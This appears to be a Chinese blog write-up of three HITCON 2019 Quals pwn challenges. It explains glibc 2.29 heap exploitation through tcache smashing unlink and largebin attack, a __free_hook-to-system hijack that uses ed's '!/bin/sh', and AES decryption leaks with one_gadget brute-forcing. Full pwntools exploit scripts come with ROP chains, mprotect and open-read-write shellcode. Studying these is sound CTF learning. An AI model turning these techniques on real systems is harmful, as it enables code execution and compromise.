2019 Hitcon Qua部分PWN题复现

summary

tag:2.29 largebin attack、tcache unlink smashing、python-AES-解密、pwn-misc

one_punch_man: double free的漏洞、calloc得到chunk,需要按照条件,某个值大于6,调用后门函数。思路一:tcache unlink smashing。思路二 largebin attack。

trick_or_treat:创建一个任意大小的chunk,然后任意地址向后写入。发现改malloc_hook和free_hook为one_gadget都不能成功,没办法了,请教google了。最后是改free_hook为system,最后输入!/bin/sh来getshell。但是由于在输入的时候我们不能输入16进制数以外的数字,所以我们需要绕过一下:ed是一个旧的默认Unix控制台编辑器。通常ed是提供给用户,它功能非常简单,但它仍然有内部的第三方命令执行功能,非常类似于vim。一旦进,ed,我们可以通过执行!’/bin/sh’来获取正常的shell。

crypto_in_the_shell:1.libc地址 2.返回地址.这些都可以通过上溢出和下溢出来得到,得到之后将返回栈地址的值改为one_gadget就可以了。通过上溢出得到AESkey和iv的值,这样的话就可以通过python自带的解密函数来进行decode得到真实值。

One-Punch-man

查看文件

保护全开。

IDA分析

主函数:create、delete、edit、show、backdoor

create:

可以看到create使用calloc来分配,calloc的特点是不走tcache,和无tcache时的分配策略一样。size范围是0x80~0x400

delete:double free的漏洞

show:puts出数据(\x00截断)

edit:根据size来进行编辑

backdoor函数:

调试发现第一个红框chunk+0x20处是tcache header中的一个值,判断该值大于6,可以调用malloc函数分配0x220的chunk,并read数据到这个chunk中。

注意里面有个沙箱:

仅能调用open、read、write、mmap、mprotect、close、exit函数。根据禁用的函数,我们考虑:ORW读出flag、mprotect提升数据段执行权限来得到flag。

解法一

既然有UAF,并且可以编辑那么首先想到的就是fastbin attack类型。但是这里的问题是create时不走tcache,释放却要走tcache。考虑在fastbin中double free由于size必须大于0x80,所以也放弃这个想法。
但是我们注意backdoor中malloc可以从tcache中拿chunk。那么就可以考虑利用UAF来将tcache中0x220chunk的fd改为hook来劫持程序流。
由于libc和heap地址都很好泄露,通过UAF就可以泄露libc(largebin 0x410)和heap地址(tcache链中有两个chunk就可以),那么问题就只有一个,就是如何调用这个backdoor。tcache header中对应的地址必须大于6,这个地方的值是tcache 0x220链的个数。发现修改这个地方的值没有别的方式来实现tcache中的“fastbin attack”。

这样的话问题就是如何修改这个地址的值。这里我们考虑三种方法:

1.largebin attack
2.smallbin attack,任意地址写libc地址
3.用UAF构造chunk overlap;用 tcache->counts 来伪造 size,用 tcache->entries 伪造 fake_chunk 的 fd 和 bk,提前布置好 堆布局,以便绕过 unlink 检查; unlink 控制 tcache->entries,劫持hook控制程序流,然后SROP再执行shellcode读取flag。

第一种思路相对比较明确,第三种不太清楚。详细介绍第二种方法:

通过分配smallbin利用UAF来达到任意地址写libc地址的目的。具体是怎样的呢?

当我们分配一个smallbin中的chunk时会进行一次unlink,当这个smallbin的链中有不止一个chunk的时候会进行归入 tcache 的操作:源代码中第一个红框是分配的那个smallbin的chunk进行unlink,下面的红框是剩余的smallbin中chunk归入tcache时的归类操作。我们看到下面的红框中没有完整性检查。

进一步分析各个参数:bin的值是main_arena附近的地址,bck的值是victim_chunk->bk。我们定位到bck->fd = bin。实际上就是*(bck+0x10) = bin(main_arena附近的libc 地址),和unsorted bin attack类似的效果。bck由于UAF我们可控,那么就是任意地址写libc地址了。

实现效果类似unsorted bin attack,但是要求相对较多:
1.smallbin中同一条链至少两个chunk,先释放的为chunk1、后释放的为chunk2,根据smallbin分配原理,如果需要的话它会先分配chunk1给程序,此时tcache不满则对chunk2进行归入tcache操作。
2.接下来就是第二点:tcache对应的size的chunk number要等于6,否则由于归入chunk2后,此时tcache的chunk number<7则还会进行一次unlink,参数的修改会导致程序崩溃。

最后需要再说明两点:
1.由于create的时候,先将数据读入栈中,再写到chunk中,所以最后劫持hook之后可以利用add esp 0x48;ret指令控制程序流进行rop,执行mprotect,最后再跳转进提前构造的shellcode执行。
2.最后mprotect也踩坑了,其start地址和length长度必须要以0x1000对齐。

exp1

#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal =  ["tmux","split","-h"]
p = process("./one_punch")
elf = ELF("./one_punch")
libc = ELF("./libc-2.29.so")
context.arch = 'amd64'
def create(index,name):
    p.sendlineafter("> ",str(1))
    p.sendlineafter("idx: ",str(index))
    p.sendafter("name: ",name)
def rename(index,name):
    p.sendlineafter("> ",str(2))
    p.sendlineafter("idx: ",str(index))
    p.sendafter("name: ",name)
def show(index):
    p.sendlineafter("> ",str(3))
    p.sendlineafter("idx: ",str(index))
def delete(index):
    p.sendlineafter("> ",str(4))
    p.sendlineafter("idx: ",str(index))
def backdoor(content):
    p.sendlineafter("> ",str(0xC388))
    sleep(0.5)
    p.send(content)

#---------fill 0x400 tcache && leak heap and libc------
for i in range(7):
    create(0,"a"*0x3f0)
    delete(0)
show(0)     # leak heap
p.recvuntil("hero name: ")
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x000055555555a660+0x555555559000
success("heap address ==> "+hex(heap_base))
create(0,"a"*0x3f0)
create(1,"b"*0xf0)
delete(0)         # 释放一个0x400的chunk进入unsorted bin
create(2,"c"*0x400) # 进入largebin,没什么luan用,之前想错了的一步
show(0)          
p.recvuntil("hero name: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff7fb3090+0x7ffff7dce000
success("libc address ==>"+hex(libc.address))
create(0,0x210*"a")
delete(0)
rename(0,p64(libc.symbols["__malloc_hook"]))
#-------make two 0x100 small chunk && smallbin attack:target addr writr libc addr---------------
for i in range(6):
    create(0,0xf0*"a")
    delete(0)

create(0,"a"*0x3f0)
create(1,"a"*0x100)
delete(0)
create(0,0x2f0*"a")
create(1,"b"*0x3f0)
create(2,"c"*0x100)
delete(1)
create(2,0x2f0*"b")
create(2,0x3f0*"b")
rename(1,"a"*0x2f0+p64(0)+p64(0x101)+p64(heap_base+0x2f60)+p64(heap_base+0x2f-0x10))
create(2,0xf0*"c")

# ----in order alloc 0x1000 addr in control, because mprotect limit---
create(0,0x400*"a") # 这是为了令与0x1000对其的地址是可控的
create(0,0x400*"a")

shellcode = shellcraft.amd64.open("./flag")
shellcode+= shellcraft.amd64.read(3,heap_base+0x300,0x30)
shellcode+= shellcraft.amd64.write(1,heap_base+0x300,0x30)
rename(0,"a"*0x160+asm(shellcode))

backdoor("a")
backdoor(p64(libc.address+0x8cfd6)) # add rsp 0x48
payload = p64(libc.address+0x000000000012bda6)
payload+= p64(0x7)
payload+= p64(libc.search(asm("pop rdi\nret\n")).next())
payload+= p64(heap_base+0x4000)  # 以0x1000对齐
payload+= p64(libc.search(asm("pop rsi\nret\n")).next())
payload+= p64(0x2000)            # 以0x1000对其
payload+= p64(libc.symbols["mprotect"])
#payload+= p64(libc.search(asm("pop rip")).next())
payload+= p64(heap_base+0x4000)
create(1,payload+(0x100-len(payload))*"a")
p.interactive()

解法二

通过largebin attack来解决,本来以为2.29的largebin attack有新姿势,但是发现并没有,之前的largebin attack的攻击方法同样适用于2.29

这里主要说说遇到的坑点:

主要是条件限制,要来构造largebin attack的方法比较麻烦:最后是通过unsorted bin遍历来将最大的0x410的chunk归为。但是这个思路同样也遇到了坑点:

unsorted bin进行归类chunk到smallbin或largebin时候的一个小trick:两个相同size的chunk在unsorted bin时,分配一个不会将另一个归类。在释放排布适合的时候,两个不同size的chunk时,一个分配另一个才会归类。

如图:此时我们需要分配0x400的chunk:

只有按照这种释放链才会将0x410归类,因为他可能先遍历的是先释放的0x410,当发现0x410不满足最佳适应原则是就将其归类到largebin。之前先释放0x400再释放0x410,导致没有办法归类0x410的chunk。

exp2

#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]

p = process("./one_punch")
elf = ELF("./one_punch")
libc = ELF("./libc-2.29.so")
context.arch = 'amd64'
def create(index,name):
    p.sendlineafter("> ",str(1))
    p.sendlineafter("idx: ",str(index))
    p.sendafter("name: ",name)

def rename(index,name):
    p.sendlineafter("> ",str(2))
    p.sendlineafter("idx: ",str(index))
    p.sendafter("name: ",name)

def show(index):
    p.sendlineafter("> ",str(3))
    p.sendlineafter("idx: ",str(index))

def delete(index):
    p.sendlineafter("> ",str(4))
    p.sendlineafter("idx: ",str(index))

def backdoor(content):
    p.sendlineafter("> ",str(0xC388))
    sleep(0.5)
    p.send(content)

#---------fill 0x400 tcache && leak heap and libc------
for i in range(7):
    create(0,"a"*0x3f0)
    delete(0)
show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x000055555555a660+0x555555559000
success("heap address ==> "+hex(heap_base))
create(0,"a"*0x3f0)
for i in range(7):
    create(1,"a"*0x400)
    delete(1)

for i in range(7):
    create(1,"a"*0x100)
    delete(1)
create(1,"a"*0x100)
create(2,"a"*0x100)
delete(1)
show(1)
p.recvuntil("hero name: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7fb2ca0+0x7ffff7dce000
success("libc address ==>"+hex(libc.address))
create(1,"a"*0x100)
create(1,0x210*"a")
delete(1)
rename(1,p64(libc.symbols["__malloc_hook"]))

create(1,"a"*0x3f0)
delete(0)
create(2,"a"*0x400)
rename(0,p64(0)+p64(heap_base+0x1e)+p64(0)+p64(heap_base+0x1e))
create(2,"a"*0x400)
create(0,"a"*0x400)
delete(2)
delete(1)
create(0,"a"*0x3f0)
#---------------------------------------------------------------
create(0,0x400*"a")
create(0,0x400*"a")
shellcode = shellcraft.amd64.open("./flag")
shellcode+= shellcraft.amd64.read(3,heap_base+0x300,0x30)
shellcode+= shellcraft.amd64.write(1,heap_base+0x300,0x30)
rename(0,"a"*0x140+asm(shellcode))
# gdb.attach(p)
backdoor("a")
backdoor(p64(libc.address+0x8cfd6)) # add rsp 0x48
payload = p64(libc.address+0x000000000012bda6)
payload+= p64(0x7)
payload+= p64(libc.search(asm("pop rdi\nret\n")).next())
payload+= p64(heap_base+0x6000)
payload+= p64(libc.search(asm("pop rsi\nret\n")).next())
payload+= p64(0x2000)
payload+= p64(libc.symbols["mprotect"])
payload+= p64(heap_base+0x6000)
create(1,payload+(0x100-len(payload))*"a")
p.interactive()

trick_or_treat

查看文件

canary没开启。

IDA分析

题目逻辑很简单,创建一个任意大小的chunk,然后任意地址向后写入。这个题很熟悉,马上就想到了分配一个大于0x23000 size的chunk其偏移和libc地址是固定的,但是为了让heap在libc地址上面,所以我们最后找到的size是0x400000。

思路

好了,接下来就是思路了:
1.想到改hook,但是又想到只有一次malloc的机会并且无释放的操作。所以想到是不是前几天虎符一样,可以改libc中某个地址为one_gadget最后call过去。最后发现没有这个地址。
2.由于没有关闭错误输出缓冲流,所以想到了写入不可写的地址来触发标准错误输出,但是也不行
3.想到了改hook,通过scanf的大量输入流来触发重新分配和释放chunk,来getshell。

第三个思路:发现改malloc_hook和free_hook为one_gadget都不能成功,没办法了,请教google了。最后是改free_hook为system,最后输入!/bin/sh来getshell。
但是由于在输入的时候我们不能输入16进制数以外的数字,所以我们需要绕过一下:ed是一个旧的默认Unix控制台编辑器。通常ed是提供给用户,它功能非常简单,但它仍然有内部的第三方命令执行功能,非常类似于vim。一旦进,ed,我们可以通过执行!’/bin/sh’来获取正常的shell,如下所示

那么我们就申请的大内存中覆盖__free_hook为system,然后通过ed执行shell(亲测改malloc_hook不能成功)
p.sendlineafter("Offset & Value:\x00",str(hex(offset/8))+" "+str(hex(libc.symbols["system"])))
p.sendlineafter("Offset & Value:\x00","0"*0x400+" "+"ed")
p.sendline('!/bin/sh')

现在我们说明一下,scanf缓冲区的分配:(说明了即使设置了setvbuf也可以强行分配heap缓冲区)

If you pass a very large input into scanf, it will internally call both malloc and free to create a temporary buffer for your input on the heap.就是说这个缓冲区是即分配即使用,即释放的。

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","split",'-h']
one_gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
libc = ELF("./libc.so.6")
p = process("./trick_or_treat")
elf = ELF("./trick_or_treat")
p.sendlineafter("Size:",str(0x400000))
p.recvuntil("Magic:0x")
heap_addr = int(p.recv(12),16)
success("heap address ==>"+hex(heap_addr))
libc.address = heap_addr-0x7ffff75e3010+0x7ffff79e4000
success("libc address ==>"+hex(libc.address))
offset = libc.symbols["__free_hook"]-heap_addr
success("offset ==>"+hex(offset))
p.sendlineafter("Offset & Value:\x00",str(hex(offset/8))+" "+str(hex(libc.symbols["system"])))
p.sendlineafter("Offset & Value:\x00","0"*0x400+" "+"ed")
p.sendline('!/bin/sh')
# gdb.attach(p)
p.interactive()

crypto_in_the_shell

查看文件

保护全开。

IDA分析

程序逻辑不难,简单的溢出,然后做一个AES加密,再打印出来。由于没有溢出检查,而且还是int型,那么就意味着我们可以上溢也可以下溢。

思路

我们需要得到这么几个值:1.libc地址 2.返回地址.这些都可以通过上溢出和下溢出来得到,得到之后将返回栈地址的值改为one_gadget就可以了。

详细讲解:
1.首先通过上溢出得到AESkey和iv的值,这样的话就可以通过python自带的解密函数来进行decode得到真实值。
2.上溢出到stdout got表来得到libc地址。
3.上溢出到data段的起始位置,那里有data段的地址,通过这个地址减去整个data段在elf文件中的偏移,就可以得到程序加载基址
4.得到加载基址后加上elf.symbols[“buf”],便可以得到我们写数据的基址,那么我们就方便下面地址任意写和任意读
5.通过下溢出environ得到栈地址,得到全局变量times参数的地址和返回地址。
6.首先改times的值,这样可以方便我们不断的加密爆破到我们想要的one_gadget地址。(不怎么了解AES这个加密方式)
7.由于times要被改为负数才能成功,所以1/2的成功率
8.最后爆破改ret地址为one_gadget
9.调试发现environ的值最后会写道执行execve的rdx中导致执行失败,所以我们要将environ改为“\0”*8

exp

#coding="utf-8"
from pwn import *
from Crypto.Cipher import AES
p = process("./chall")
elf = ELF("./chall")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]

def getInfo(offset,size):
    p.sendlineafter("offset:",str(offset))
    p.sendlineafter("size:",str(size))
    return p.recvn((size & 0xfffffff0) + 0x10)

def decode(key,iv,data):
    instance = AES.new(key,AES.MODE_CBC,iv)
    return instance.decrypt(data)

# leak key and iv
result = getInfo(0xffffffffffffffe0,0x10)
key = result[:0x10]
iv = result[0x10:]

# leak libc
result = getInfo(0xffffffffffffffc0,1)
data = decode(key,iv,result)
libc.address = u64(data[:8]) - libc.symbols['_IO_2_1_stderr_']
success("libc address ==> "+hex(libc.address))

# leak binary address
# gdb.attach(p)
result = getInfo((0xfffffffffffffff0-0x390),1)
data = decode(key,iv,result)
image_base_addr = u64(data[8:16]) - 0x202008
log.success('image_base_addr: ' + hex(image_base_addr))

# get stack address
offset = libc.symbols["environ"] - image_base_addr - elf.symbols['buf']
result = getInfo(offset,1)
data = decode(key,iv,result)
stack_addr = u64(data[:8])
success("stack address: "+hex(stack_addr))

# hijcaking times variable
times_addr = stack_addr - 0x120
offset = times_addr-image_base_addr-elf.symbols["buf"]
getInfo(offset,1)

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

# arbitrary memory writing:
one_gadget = p64(libc.address + 0x4f322)
offset = (stack_addr-0xf0) - (image_base_addr+elf.symbols['buf'])
for i in range(8):
    while(True):
        result = getInfo(offset + i, 1)
        if(one_gadget[i] == result[0]):
            log.success('i : ' + str(i))
            break

content = "\0"*8
offset = libc.symbols["environ"] - image_base_addr - elf.symbols['buf']
for i in range(8):
    while(True):
        result = getInfo(offset + i, 1)
        if(content[i] == result[0]):
            log.success('i : ' + str(i))
            break
# gdb.attach(p)
p.sendlineafter('offset:', 'a')
p.interactive()

 Previous
2020 IISC线上赛PWN解题 2020 IISC线上赛PWN解题
0x00 Summarylogger整数溢出+脏数据泄露。改bss上stderr指针为伪造的file结构体,2.23 FSOP攻击 foo:UAF,加Cookie检测,爆破出Cookie,然后利用scanf的trick进行malloc_co
2020-10-27
Next 
TSCTF2020的一道题中学习2.32下safe-linking机制以及2.31/2.32下setcontext的使用 TSCTF2020的一道题中学习2.32下safe-linking机制以及2.31/2.32下setcontext的使用
前言仍然是比赛结束后来探险,xxrw师傅出的一道题目,很有趣的一道题。漏洞很巧妙难以定位,利用起来比较有意思,也学到了safe linking保护机制和2.31/2.32 setcontext的利用方法。 tag:glibc 2.32、se
2020-10-22
  TOC